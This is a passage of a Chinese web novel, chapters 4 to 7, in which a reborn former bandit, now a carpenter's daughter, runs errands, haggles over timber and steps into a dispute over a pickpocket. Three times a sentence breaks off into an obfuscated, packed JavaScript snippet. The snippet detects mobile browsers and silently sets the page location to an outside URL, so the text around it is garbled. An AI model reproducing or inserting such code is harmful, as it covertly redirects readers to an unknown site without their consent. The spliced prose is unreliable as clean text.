钟舜华“哼”一声,翘起二郎腿,从果盘里摸出个发蔫的小青桃,也不挑剔掀起衣角擦了擦,咔嚓咬了一口:“别再让我撞见他,不然我还揍他。” “那可不行!”严珍赶紧制止,“昨日是他理亏,就罢了。如今你再无缘无故打人,可是要被抓进官府的!” “官府?”钟舜华微微蹙眉,对这个已经有些遥远的词还不太适应。她三两口吃完桃子,手一扬,随意将桃核丢进窗外的菜畦,歪着脑袋问,“官府连打架也要管?” “当然,要是私下斗殴伤了人,那可是要蹲大牢的!”严珍对这个病刚好的闺女极不放心,握紧了她的手,连哄带吓,“那大狱里又黑又臭,有耗子,还吃不饱饭,见不着爹娘。你若是被抓进去,可如何是好?” 钟舜华听完,放下二郎腿,改成大马金刀的坐姿,双手撑膝,陷入沉思。 老鼠和挨饿她倒不怕,毕竟,饿极了还可以吃老鼠嘛。可……她偷偷瞟向桌上油亮亮的笋干炒腊肉、绿莹莹的荠菜汤,终究觉得为张老金放弃这些,不值当。 她带着些遗憾地点点头:“好吧,那就饶他一回。” 钟成栋望着女儿这副豪放做派,欲言又止。转念想到家中摇摇欲坠的铺子,劝说的话又咽了回去。 他见识过钟舜华的本事,不像严珍那般将她全然看作孩子,只语重心长道:“张老金有些来头,莫要轻易去招惹。往后咱们若想安生做生意,就不能与他闹得太难看。” “好——”钟舜华脑袋往严珍怀里一靠,轻轻拱了拱,“我脑子笨,不懂这些弯弯绕绕,都听娘和爹的。” “娘的好闺女哪里笨?机灵着呢!”严珍心软得一塌糊涂,将人往怀里又搂了搂。 陌生的柔软馨香包裹周身,钟舜华舒服地眯起眼。 奇怪得很,明明她向来讨厌束缚,明明前一刻脑子里还只有桌上的饭菜,这一刻却只想被搂得更紧些。 她从心地将半个身子都埋进那并不宽厚却十分温暖的胸膛,努起嘴无声地动了动,疑惑又费解默念着: 娘亲?娘亲…… 钟成栋望着相拥的母女俩,偏头悄悄抹了抹眼角。 懵懵懂懂这么多年的女儿清明起来,他和珍娘,也算熬出头了。 虽说这丫头瞧着是个头脑简单、四肢发达的,往后少不了要操心,可他反而觉得踏实。 照例在床上支起矮桌,三人围坐用饭。夫妻俩家长里短地扯闲篇,钟舜华则竖着耳朵,一边听,一边埋头苦吃。 一顿饭吃了许久。 直到严珍问起重新开铺子的细节,钟成栋这才猛然想起,手里还有两单活计没做完,明日就要到期了! “坏了!”他一拍脑门,撂下碗,风风火火冲向院子。 紧赶慢赶,钟成栋总算在天黑前,做完了原先只做了半截的五张圆凳。可另外一单是工艺比较复杂的雕花燕几,他如今动作慢,要费上不少时辰,只怕今晚得挑灯赶工。 眼下不仅得抽空去送圆凳,又因上午教女儿太过投入,耗去不少木料,现下连原料也不够了。 钟成栋顿时焦头烂额,悔得直拍腿:“真是忙昏头了,竟把这样要紧的事忘了!” 如期交货,是钟氏家具铺一贯的规矩。这些回头客,也多是看中钟老二夫妇守信。 可这…… 陈府有大理寺的官爷,开罪不起。孙家食铺倒是老熟人,要不就…… 钟成栋一咬牙,正要开口, 一旁打下手的钟舜华眼珠骨碌一转,抓住机会,蠢蠢欲动:“爹,要不……我去帮你送?” “那怎么成!”钟成栋下意识拒绝,“外头人多车马又乱,万一磕着碰着怎么办?” 这话一出,钟舜华反倒更来劲了。出去看看的心思像野草疯长,哪里按捺得住:“爹,我从小跟着你四处跑,城西这片闭着眼睛都摸得清!再说,孙家食铺跟咱家总来往着,我也常去玩,你还有什么不放心的?” 她边说,边捡起布巾,利落地掸去圆凳上的浮灰,将它们摞在一处,用麻绳捆结实,没大没小地指挥:“你给我些钱,我去送货,顺道把木料捎回来。你趁天还没黑透,抓紧多做些活计。这样两边都不耽搁,明儿个也好把燕几给人家送去。” 见她安排得头头是道,钟成栋心里松动了些。他从怀里摸出钱袋,一层层慢慢解开:“你当真能自己去?往日不是我送,就是大林来接……” 钟舜华直起身,在雾蒙蒙的记忆里扒了扒,翻出了那个瘦高少年。 她嗤笑一声:“孙大林那竹竿儿,力气没我大,跑得又没我快,爹还指望他护着我不成?我看真要遇上事儿,他不拖后腿就算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908831|192433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好了!” 也是,从前闺女懵懂,如今毕竟不同了。 钟成栋掏出一角碎银子,想了想,又摸出几个铜板:“木料铺就在孙家食铺附近,你买包炒花生,嘴甜些,请马大婶或大林带你过去。”说到这儿,他还是觉得不放心,“要不……还是我送你一趟?” “哎呀爹,你送我,跟你自己去有什么两样?这一来一回,一两个时辰可就耽搁出去了。”钟舜华可不想看热闹还被人盯着,她眉毛一竖,“爹,你既然答应让我开铺子,还整日把我箍在家里做什么?莫不是压根不想让我接手,宁可送给你那烂赌鬼侄儿?” “胡说八道!”钟成栋立刻反驳,想起觊觎铺子的大哥一家,恶心得不行,“我闺女这么好的天分,不掌管铺子,倒要便宜他?真当我钟老二是面团捏的不成?!” 钟舜华小声嘀咕:“那可说不准。”见钟成栋狐疑看来,又笑嘻嘻凑上前,“爹,那你这是答应让我出门历练了?” “我……”钟成栋被她绕得有些晕。 “我就知道我爹最是明理!”钟舜华欢呼一声,迫不及待拿过他手中的银钱。 钟成栋拿她没法,不忍见她失望,只得应下。 他打量女儿片刻,面露难色:“华儿,你……要不要换身衣服?” 严珍每年都给钟舜华做两三身时新裙衫,奈何她自己总穿不明白,全靠爹娘帮着。后来年岁渐长,钟成栋不方便再为她更衣,只好教了她穿简便耐磨的男式短打。这一穿,就是好几年。 “不用,这衣裳干活儿方便。”钟舜华浑不在意,撸起袖子,一把将捆好的圆凳扛上肩头,“再说,衣裳不同而已,谁还能瞎到分不出男女不成?” “这……不是看不看得出的问题,你……”钟成栋欲言又止,看她一副死皮赖脸的模样,心里默念了好几遍“粗鲁些也好,少吃亏”,才勉强说服自己,摆摆手,“罢了,你怎么自在怎么来。路上当心,别走道中间,别随便跟人搭话,更别轻易动手……” “知道了知道了,放心吧。走啦!” 钟舜华嘴里还应着声,人已经像脱缰的野马,一下子窜了出去,穿过僻静胡同,一头扎进人群熙攘的主干道。 街道两侧商铺林立,道边还摆满了小摊,卖菜的、沽酒的、裁衣裳的、贩鞋袜的,吆喝声谈笑声此起彼伏,在耳朵边热热闹闹地炸开。行人密密麻麻,多得数不清,从她肩侧擦过,面上或喜或愁,唯独没有她熟悉的麻木和惶恐。 钟舜华看得眼花,依着记忆中的路线,顺着人流往前,停在一处熟悉的门头下,依稀辨认出幡子上“孙”“食”两个字。 傍晚时分,铺子里正是忙的时候。一个膀阔腰圆的妇人端着托盘,正与客人说得开心。 “哈哈哈,你这人就爱开玩笑!我家大林还没开窍呢,不急不急!”妇人大笑着从托盘里端出一碟煎饼,搁在小方桌上,忽然似有所感,回过头,同门外的年轻姑娘对上了视线。 钟舜华咧嘴一笑,放下肩头的圆凳,有些不确定地开口招呼:“马大婶?” 5. 第 5 章 “哎哟,华妮儿!”马大婶惊呼一声,赶忙迎出来拉住她,上下打量,“你怎么自己来了,你爹呢?” 她边问边探头往钟舜华身后张望,没见着钟老二,倒是瞧见自家儿子拎着根棒骨,傻愣愣地杵在店门口。 她太阳穴突突跳,火气“蹭”地就冒了上来。 “臭小子!一早让你麻利些,去看看你钟家妹妹,你就知道磨蹭!磨蹭!”马大婶一把拧住孙大林的耳朵,哐哐几巴掌拍在他背上,“现在好了,人家自己溜出来寻你!好歹是没事,要是在路上出点什么岔子,看你怎么跟你钟叔交代!” 孙大林被揪得“哎哟”直叫唤,闭着眼嚷嚷:“爹使唤我先买棒骨嘛!再说,她撒起泼来跟头蛮牛似的,按都按不住,能有啥事!” “还犟嘴!你爹是这时辰才让你去的?” 钟舜华听了也不乐意,凑过去:“说谁是蛮牛?” “说你啊——?”孙大林气呼呼睁眼,一张熟悉的面容在眼前放大,上面带着的确是他从未见过的灵动神情。 他愣住了,与同样有些发懵的马大婶对视一眼,咽了口唾沫,张开五指在钟舜华面前晃了晃。 钟舜华皱眉,拍开他的手。 孙大林“嘶”了一声,揉着发红的手背,结结巴巴问:“华、华妮儿,你……你当真好了?” “对啊。”钟舜华朝他扬扬下巴,“所以往后少说我坏话,我精着呢!” 这口齿清晰得,孙大林眼珠子都要落到地上去。还是马大婶反应快:“华妮儿,你……你再跟大婶说句话……” 昨天听李大夫说钟家的傻姑娘不傻了,他们还不怎么信。毕竟傻了这些年,哪能说好就好?可现在看她这模样…… 钟舜华挠挠头,大大方方道:“马大婶,我不傻了。”她指了指地上的圆凳,“喏,我爹让我送这个来。” “天菩萨,还真是好了!”马大婶高兴得手忙脚乱,“老天保佑,老天保佑!珍娘可算熬出头了!瞧这好孩子,刚好就能帮衬家里了……”她拉着钟舜华的手摸了又摸,想起什么来,开始低声埋怨,“这钟老二也真是,怎么就放心让你一个姑娘家自个儿出来!” 钟舜华叹一声,作出苦恼模样:“没办法,家里出了点事,爹还赶着给陈老爷家做燕几呢。” 马大婶一听就明白了,啐道:“你那爹就是一根筋,赶不及,晚两天送咱们这儿不就得了?都是街坊邻居,还差他这一天半天的?” 钟舜华往店里瞅了一眼,一间铺子里挤得满满当当,没一个空座,甚至还有站着等的食客,心想可能还真差呢。 这不,马大婶才出来没多久,里头就有人喊:“掌柜的,人呢?快给我来碗素汤饼!” “哎,来了来了!”马大婶连忙在围裙上揩了揩手,搬起圆凳,“华妮儿,你找你大林哥结账。”说罢又顺手扯过孙大林手里的棒骨,给了他一杵子,“臭小子,看好你妹妹!” “哦。”孙大林捂着腰,木木地点头。他从怀里掏出铜板,数了数,看向钟舜华,一时还有些不适应把她当做正常人,“那个……华妮儿,这是凳子的钱,你数数……” 钟舜华一把接过:“不用数,你刚才数的时候我看清了。”数得真慢。 她不客气地用胳膊肘推推他:“大林,我要去买木料,你带我去。” 至于炒花生,什么炒花生?这孙大林从前连哄带骗吃了她那么多好吃的,还想要花生?吃屁吧! “哦。” 孙大林讷讷应声。他也没指望讨什么好处,只是到现在脑子还懵着,想不明白从前傻愣愣、慢吞吞的邻家妹妹,怎就变成了这副……土匪似的模样…… 钟舜华哪里会察觉不到他偷偷打量的眼神,不过她这会儿摸着进账的银钱,心里正美呢,只当没看见。 二人一路穿行人流,走到木料铺前。孙大林是个外行,正琢磨着如何开口,钟舜华却已径直上前:“掌柜的。” 铺子里坐着个精瘦的中年人,正拨着算盘,闻声抬了抬眼。 他见是个穿着短打的年轻姑娘,身旁跟着个缩手缩脚的愣头小伙,顿时就先存了几分轻视,只当是寻常人家来买些边角料。 “要什么料?”他手指搁在算盘上,懒洋洋地问。 “杉木,做燕几用,要干透、纹理直的。”钟舜华屈起食指,在门口摆着的檀木上敲了敲,“先瞧瞧料子。” “乱敲什么!”中年人面色微变,起身斥骂,“知道那是什么吗?敲坏了把你俩卖了都赔不起!” 孙大林脖子一缩,连忙拉过钟舜华的手,朝掌柜赔笑:“掌柜的,对不住啊,您别生气,我家妹子不懂事。” 掌柜见状,气焰更甚,冲过来,整个人趴在檀木上细瞧,冷声吓唬:“道歉有什么用?!要是我检查出哪里有问题,你们就且等着赔吧!” 这不是讹人吗! 孙大林顿时脸色一白,手足无措起来:“我……” 钟舜华知道,从前孙大林就是这样,在外面帮她收拾烂摊子,时不时受人打骂欺负。 不过,现在可不一样了。 她挣开他的手,将人挡在身后,掌心搭在檀木上,姿态极其随意地推了一把。 “隆——” 一声沉响,两个成年男子都抬不动的檀木,连带着上面趴着的掌柜,竟都一同被挪动了好几寸。 钟舜华冷笑一声:“要是檀木都能敲一下就坏,我倒要好好掂量你家木料的品相了!” 掌柜的狼狈抱着檀木,被她这一身蛮劲唬了一跳,咽了口唾沫:“胡、胡咧咧什么!我家都是好料子……”他跳下来,拍拍衣袍上的褶子,伸手往墙角的一堆木料一指,“喏,那边都是杉木,你自己看吧。好的三百文一方,次些的二百文。” 孙大林探头望了望,小声嘀咕:“华妮儿,这……咱们也不懂啊,别被坑了,要不等你爹自己……” 钟舜华没理他,径自走过去,蹲下身,指腹在木料上蹭了蹭,又凑近嗅了嗅,敲了几下,心里有了计较。 旁的她不懂,木料她还能不懂吗? 她站起身,拍了拍手:“掌柜的,你说你家都是好料子,可这堆杉木根本没干透,听声音,里头保不准还有虫眼。纹理也杂得很,做些小物件还成,做燕几?怕是刨平了都得裂开几道。就这,还敢喊三百文? 掌柜被说得一愣一愣的。没料到,这蛮牛还是个懂行的? 他脸上有些挂不住,强笑道:“姑娘说笑了,我这铺子开了十几年,向来童叟无欺。你若不中意,里头还有更好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908832|192433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的……”他朝里间指了指。 “更好的?”钟舜华跟过去看了几眼,摇摇头,“这批倒是干透了,纹理也还勉强,可边材多,能出的料太低。”她转过头,看向掌柜,“二百二十文,我诚心要。卖不卖?” 掌柜脸色变了又变。二百二十文,这价都快踩到他本钱线上了! 他干笑一声:“我说姑娘,您这价砍得也太狠了。二百二十文,我连本都保不住。这样,二百八十文,您挑几根好的,我给您让个利。” “最多二百四十文。”钟舜华不听他鬼扯,“我要那五根。”她精准地指向几根品相不错的料子,“就这价。掌柜的,我是榆林巷子钟氏家具铺的,从前总在你家买,这回买得也不少。料子什么成色、值多少,你心里有数,我也有数。咱们都是生意人,爽快些,成不成?” 她说话时,身体微微前倾,年轻的脸上虽带着笑,眼神却利得有些迫人。先前扛着圆凳走了那么长一截路,气息却丝毫不乱,站在那儿,竟比一旁的孙大林还显得更稳当些。 掌柜被她看得心头一紧,想了半天,没想起具体是哪个钟氏家具铺。 不过瞧这姑娘的眼神架势,是个有成算的,结个善缘,往后兴许能多赚些。 想到这里,他定定神,一脸无奈地叹了口气,笑道:“唉,那就依你,我亏本,同姑娘交个朋友!” 钟舜华可不觉得他真会亏本。她也不戳穿他,笑了笑:“那,掌柜量料吧?” “好嘞!钟娘子,往后可定要常来我家光顾啊!” “那是自然!” 孙大林在一旁看得目瞪口呆。他不明白,钟舜华怎么敲敲摸摸,三言两语就把价钱砍了下来,那掌柜先前还爱答不理,现在竟有些上赶着似的。 他凑近去,压低声音,眼里满是佩服:“华妮儿,你真厉害……你怎么懂这些的?” 钟舜华白他一眼,看傻子似的看他:“你没脑子?我爹是木匠,我还能不懂?” “哦。”孙大林懵懵点头,觉得有道理,想了片刻,又“诶?”一声,“不对啊……” “你吵死了。”钟舜华斜他一眼,手上不觉用了些力,一根木料被她捏得“嘎吱”响了一下。 孙大林头一低,立刻闭嘴。正弯腰捆料的掌柜听见那细微声响,抹了把汗,手脚越发麻利起来。 耳边安静了,钟舜华满意松开手,面色如常地付了钱。 她扛起分量不轻的木料,招呼小弟似的招呼她那大林哥:“走罢。” 二人离开木料铺,回到孙家食铺时,天色已经擦黑。马大婶好说歹说,要留钟舜华吃晚食。 钟舜华摇摇头,坚持要回家:“爹娘还等着我呢。” 马大婶不好强留,只好递上个热乎乎的油纸包:“这是你孙叔刚烤的馅饼,带回去,跟你爹娘一块儿吃。” “不用……”钟舜华想起老爹的交代,知道要往回推拒,可那鲜香气味直往鼻子里钻,她的手怎么也推不过去。 马大婶笑着塞进她手里:“拿着罢!店里也卖不完!” 话音未落,不远处突然“砰”一声,传来一道巨响。 钟舜华一个激灵,脸色一沉,几乎是本能地一把将马大婶拦腰抱起,同时另一手扯住孙大林,疾步向后退。 6. 第 6 章 马大婶“哎哟”一声,直拍她肩膀:“华妮儿,没事儿!那是放炮仗呢!快放大婶下来!” “炮仗?”钟舜华将信将疑,放下人,朝发出响动的方向望过去。 烟雾升腾,细碎的红纸屑在爆裂声中纷纷扬扬地散开。一群衣着光鲜的男男女女聚在一片灯火辉煌的楼前,乌泱泱往里涌。 被拽得摔倒在地的孙大林爬起身,扶住还有些摇晃的马大婶,提了一口气,窝窝囊囊地开口:“华妮儿,你轻点……我娘可不像木材那么经得起折腾。” 钟舜华摸摸鼻子,有些讪讪:“我当是火药炸了呢。” 马大婶哈哈大笑:“华妮儿,你是不是又听你娘讲那些话本子了?咱们京城太平着呢,哪来的火药!那是瓦舍在开门迎客,放炮仗讨个彩头!” 钟舜华不解:“瓦舍?瓦舍这做的什么营生,都天黑了才开门?” 孙大林“噗嗤”一笑:“傻妮子!瓦舍就是喝酒听曲儿、寻欢作乐的地方!” 寻欢……作乐? 钟舜华眯起眼看向那华灯,灯影重重,无端勾起了她的回忆。 乱世日子苦,尤其是背井离乡当了土匪后,饿肚子更是常有的事儿。很多时候,她都是带着刀箭往山林子里一钻,打到什么算什么。 有一回,她在河岸边掏田鼠洞,正瞧见河中开来一艘足有三层高的大游船。 游船上灯火通明,好些模样奇怪的乐器发出好听的声音,一群彩衣人随乐起舞。桌案上佳肴鲜果堆成小山,如同天上的仙境一般,直让她看得发痴。 船头坐着个脑满肠肥的男人,眯眼跟着曲子摇头晃脑,好不惬意。 一曲终了,他伸出筷子,挑挑拣拣好半天,夹起一块烤得金黄酥脆的炙羊肉。 可刚入口,他却眉头一皱,“哇”地将肉吐了出来。他“呸”了两下,满脸不悦,竟伸手,将一整只烤羊腿,连同盛放的玉盘,一并掷进了河里。 那羊肉泛着油亮的光,在空中划出一道诱人的弧线。原本在岸边默默咽口水的钟舜华,想也没想,就跟着跳了下去。 可惜河太宽水太深,她什么也没捞着,反被冻得大病一场,险些将小命交代出去。 “真好啊……”钟舜华望着那灯火粲然的瓦舍,低声喃喃。 马大婶见她两眼发直,心里突了一下,连忙扯她一把:“华妮儿,那边可去不得,那不是咱们该去的地界。” 钟舜华回过神,乖巧一笑:“知道啦马大婶!那我就先回家了!” “诶,好。路上慢着点儿!” “谢谢大婶!还有大林,下回我请你吃炒花生!” 钟舜华扛起新买的木料,朝二人摆了摆手,提着灯笼,规规矩矩往家的方向走去。 待她回到家中,交代完差事,又美美地饱餐一顿,就迫不及待找了个借口,说白日奔波太过疲乏,早早就回房熄灯歇下。 不多时,在夜色的掩护下,一道轻捷的身影悄无声息地翻过院墙,朝着那片华灯璀璨、人声喧嚷的长街奔去。 ——才怪。 她要是真那么听话,上辈子就不会去当土匪了。 . 城西瓦舍。 这片依水而建的独特街市此刻热闹非凡,人群摩肩擦踵,比白日更喧腾数倍。七彩琉璃灯、薄透绢纱灯、特色羊角灯……各色灯火将楼阁映得恍如白昼,丝竹管弦与笑闹喝彩声阵阵涌来。空气里脂粉香与酒肉气交织在一处,还有一丝说不清道不明的,奢靡又放纵的味道。 钟舜华挤在人群里,左顾右盼,一双眼睛亮得惊人。 “好!妙啊!”“真有本事!” 河边的大垂柳下爆出一阵又一阵喝彩。她立刻伸长胳膊,扒开里三层外三层的人群,像条鲶鱼似的扭身钻了进去。 来逛瓦舍的不止达官贵人,也有普通百姓。不过再普通,也得有几分家底,才有闲心出来游玩。像钟舜华这么“普通”的,也算是少见。被挤开的人心疼地抚了抚身上新换的衣裳,对着那粗布短打的小滑头就是一阵啐骂。 几名锦衣华服的公子摇着扇子从旁经过,见这些底层人满口粗话,不由嗤笑,眼里满是轻慢之色。 钟舜华浑不在意,反倒觉得他们层层叠叠的衣袍累赘,走路都迈不开步,哪像自己一身轻快。她踮起脚,伸长脖子朝里望,圆溜溜的眼睛倏地亮起。 ——原来是喷火耍刀的杂耍。 这都不要钱,真划算,嘿嘿。 酒楼外的凉亭里,吸引客人的说书先生“啪”地一拍醒木,讲到正精彩处就停下来,有意拖长调子卖关子,教那底下听众急得抓耳挠腮。 唔,这个也免费。钟舜华倚在廊柱下,听得津津有味,时不时从油纸包里捻出颗炒豆子,扔进嘴里,“嘎嘣嘎嘣”嚼得脆响。 一旁端着托盘的瓦舍小二悻悻转身。这小姑娘一脸单纯,一看就是个新客,他本想在她身上小赚一笔,没想到游说半天,最终也只卖出去一包最便宜的炒豆子。小二气结,翻了个白眼,暗骂一声“晦气的穷酸鬼”,转瞬又堆起谄笑,朝不远处那群华服公子凑过去。 月上中天,还在到处蹭热闹的钟舜华玩得正起劲,忽听得身旁两人的议论声高了起来。 “听说了么?今儿惊鸿客要登台!” “可是去年一舞动京城的那位?不是说他腿伤之后,轻易不出场的?” “就是他!千真万确!就在东楼专供名伎表演的撷芳阁,最近只有这一场,座儿早抢空了!” “啧啧,都说他伤后再跳不出那惊鸿舞,身价大不如前,怎么还这么难见?” “你懂什么!人家底子在那儿,就是寻常的舞,也胜旁的舞伎十倍。再说,如今去看他的,有几个真为了赏舞?还不是为了……哼哼……” “嘶……你是说……害,可在怎么说,咱们这等人,都是连人家的裙边都摸不着……” 惊鸿客?钟舜华眉头一挑。 方才那些要钱的杂耍戏法,她没钱看,也不觉得可惜,可这位列第一的舞……她心里像被狸奴爪子挠过似的,痒得厉害。 后头那些嗯嗯啊啊的哑谜她听不明白,索性也不听了,立刻循着人流,挤到东楼去。 东楼,撷芳阁。 雅致的门头前珠帘垂曳,灯火通明,两名膀大腰圆的壮汉守在门口,一一验看请柬。阁里头隐约传来清越的琵琶音,叮咚叮咚,好听极了。 进不去。 钟舜华急得直挠腚。 她在门口转了一圈,瞥见侧边有个小门,几个端着果盘酒壶的伙计正鱼贯而入,顿时有了法子。 她悄悄跟上去,趁人不备,从廊下晾杆上扯了件半湿的深青色杂役短褂,套在外头,低头混进了队伍。 阁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908833|192433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内真是别有洞天。 三层环廊,中央一座高台,台上铺着品质上乘的大红氍毹,台下围着的红木桌椅造型雅致,已经坐满锦衣宾客。阁内到处都点着清雅的熏香,与外面的哄闹喧嚣截然不同。 钟舜华缩在角落阴影里,假装擦拭栏杆,暗叹一声这木料挺好,眼睛却滴溜溜四处打量。表演还没开始,宾客们聚在一起低声谈笑,举杯互邀,侍者们满面笑容,穿梭其中斟酒布菜。 突然,她目光一顿。 不远处,一个身形纤细的小姑娘,悄悄将手伸出她那不合身的锦衣,借着侍者斟酒上菜的机会,混在后头,手指灵巧地探向离得最近的一个蓝袍公子腰间,那里挂着个鼓鼓的锦囊。 那蓝袍公子正偏头与友人交谈得入神,浑然未觉。 钟舜华一收抹布,悠悠哉哉踱步过去,在小姑娘指尖触到锦囊系带的刹那,一把扣住了她的腕子。 “哎哟!”小姑娘疼得低呼一声,锦囊“啪嗒”掉在地上。 动静不大,却引得周围几桌客人纷纷侧目。蓝袍公子回头,看见地上的钱袋,又见一个杂役打扮的人抓着个衣衫旧敝的小姑娘,顿时明白过来:“你偷我东西?” 小姑娘头一垂,小声狡辩:“我没有,我就是觉得好看,想摸摸……” 钟舜华冷哼一声,捡起锦囊,抛还给蓝袍公子。 蓝袍公子伸手接住,觉得这杂役行事有些粗率没规矩,但也没多计较,只看向那小偷:“送官罢。” 小姑娘瞬间脸色煞白。 她偷偷横了眼钟舜华,强作镇定,咬唇扑跪下,眼中惊惧交杂,哀求道:“公子,东西已经还给您了……求您高抬贵手……” 公子身旁的几位友人相视起身。一位年长些的压低声音劝和:“我说凌兄,不过是些散碎银子,让她赔个不是,私了罢。闹大了反倒不好看。” 蓝袍公子凌承隽却不为所动。他看向那小偷,语气坚定:“小小年纪便行窃盗之事,将来何以立身?按律,盗窃就当送官究办。” 小姑娘身子一颤,急道:“我、我真不是故意的!公子,我愿意给您做工抵债,我给您当丫鬟,当仆役,做牛做马都行!求您别送我去官府!”她越说越激动,声音里已经带了哭腔。 凌承隽摇头:“你今日能偷我,明日便能偷旁人,我如何敢信你空口承诺?” 周围友人面面相觑,神色间有些不忍,却碍于凌承隽身份,不便多言。这丫头看着不过十三四岁的模样,若进了衙门,只怕…… “送她去官府,是不是太过了?”一直沉默的钟舜华觉得事情的走向有些不对,忽然开口,侧身挡在小姑娘面前。 小偷的抽咽声顿了顿。 凌承隽诧异地看向这个杂役姑娘,方才那点感激淡去,蹙起眉头:“不是你抓的她?再说,依大周律法,窃盗初犯,不过只是杖责或拘禁数日,小惩大诫,何以称过?” 钟舜华听着他这文绉绉的腔调,额角直打突。她没在太平年岁里长久待过,脑子里刻着的,仍是乱世里弱肉强食、官匪一家的那一套。 她不闪不避地迎上凌承隽质问的目光,说不出太多大道理,只梗着脖子道:“我抓她,是因为她偷你钱不对。可你送她进官府,就是你不对!” “我不对?”一向好脾气的凌承隽哂笑一声,也动了气,“你倒是说说,我有何不对?” 7. 第 7 章 “那我问你,你能保证她进了那种地方以后,真的只是挨几板子、关几天,然后就能全须全尾地出来?”钟舜华抱臂冷声质问。 凌承隽被她问得一怔,理所当然道:“为何不能?律法昭昭,官府自会秉公而断!” 他话音落下,身旁几位友人却都移开了视线。围观人群中有人忍不住笑出声来,有人轻叹摇头。 凌承隽察觉气氛有异,目光扫过友人:“诸位这是何意?” 友人们支支吾吾,目光闪躲。 混在人群里看热闹的瓦舍小二没忍住嗤笑一声,扬声道:“哎哟,话说得倒是轻巧。咱们这种平头百姓,进了那地方,没钱打点,不死也得脱层皮,能不能出来都得看阎王心情!您这样的贵人,手指缝里漏点儿都比我们的命值钱,装什么清白?” 他说完,眼见那贵人循声看过来,才意识到自己太冲动,慌忙低下头找补:“小的胡胡言乱语,哈哈……”说完像害怕被报复似的,缩着脖子脚下抹油,溜走了。 欲盖弥彰。 凌承隽脸上血色褪去,又慢慢涨红。他看向友人,见他们尴尬回避他的目光,心中还有什么不明白的。 他既震惊又愤怒,还有一种被蒙蔽的羞耻感,纷纷席卷而来,冲上头顶。 自幼受祖父教诲的他,一直笃信律法公正,为官当清正爱民,就连此番进瓦舍听曲儿,也是头一回,何曾想过……底下竟是这般光景? 他闭了闭眼,再睁开,看向那瑟瑟发抖的小姑娘,视线落在她明显短了一截的袖口,胸口发堵。沉默片刻,他将手中锦囊塞进小姑娘手里,嗓音干涩:“你走吧。” 说罢,不顾众人惊愕的目光,起身快步离开了撷芳阁。 一场风波骤起骤落,将近平息。 阁内管事闻讯赶来,目光在钟舜华和小偷身上一扫,又瞥见小偷手里的锦囊,摸了摸下巴,笑道:“小姑娘,看舞得买票。既然现在有了银子,便补上罢?” 小姑娘闻言,一下子攥紧了那沉甸甸的锦囊,显然舍不得拿里头的银钱来买天价戏票。 管事毫不意外,冷哼一声,又看向钟舜华身上的杂役褂子,皮笑肉不笑:“我怎么不记得手下有你这么个伙计?” 钟舜华摸摸鼻子,耸耸肩。 “请吧?”管事提高声调,身后的打手横眉冷目。 两人就这样被“请”出了灯火辉煌的撷芳阁。 离去时,阁内乐声乍起,清越空灵。 演出开始了。 钟舜华下意识回头,只见高台之上,一道身着织金舞衣的身影翩然步至中央。 灯火映照下,他衣袂上繁复的暗纹流转如星河。匆忙间,她只来得及看清一片华丽的袍角,以及台上人似乎懒洋洋掀开眼皮,朝她这方向投来的若有似无的一瞥。 帘幕垂下,身影没入光影深处。 钟舜华遗憾地叹了口气。 被撵出来的二人站在瓦舍街边灯火阑珊处,吹着冷风,成了难姐难妹。 小偷捏着锦囊,心情复杂地看了一眼钟舜华。如果不是这个人多事,她或许已得了手溜之大吉。可后来若没有这人坚持,她恐怕真就要被那不通世事的公子送进衙门,受尽磋磨。 踌躇半晌,她还是从锦囊里摸出一小锭银子,递过去:“……这个,给你。” “哦,”钟舜华眨了眨眼,毫无心理负担地接过,自然而然地揣进怀里,“多谢。” 小姑娘:“……” 她张了张嘴,看着钟舜华那副理所当然的呆样,一时不知该气还是该笑,最后只得暗自庆幸——幸好只给了一锭! 一路无话,走到岔路口临分别前,小姑娘犹豫良久,低声道:“那个,我叫阿酒。我……我只偷那些钱多了烧得慌,喜欢欺压百姓的阔老爷,从来不碰穷苦人的活命钱。” 钟舜华点点头:“我知道。”她语气平常,“其实我早瞧见你了,偷了好几个看着就讨厌的有钱家伙,我没想管。可你刚才偷的那位……他不像是坏人,你不该偷他。” 阿酒怔住,抬眼仔细打量钟舜华。这人看起来愣头愣脑,甚至有些土气,可一双眼睛清亮透彻,对人的善恶似乎有种近乎本能的敏锐。 她心里的那点怨气忽然就散了,反倒生出些微妙的亲近和羞愧,还有些说不清的羡慕。她想说点什么,嘴唇动了动,却拉不下脸。 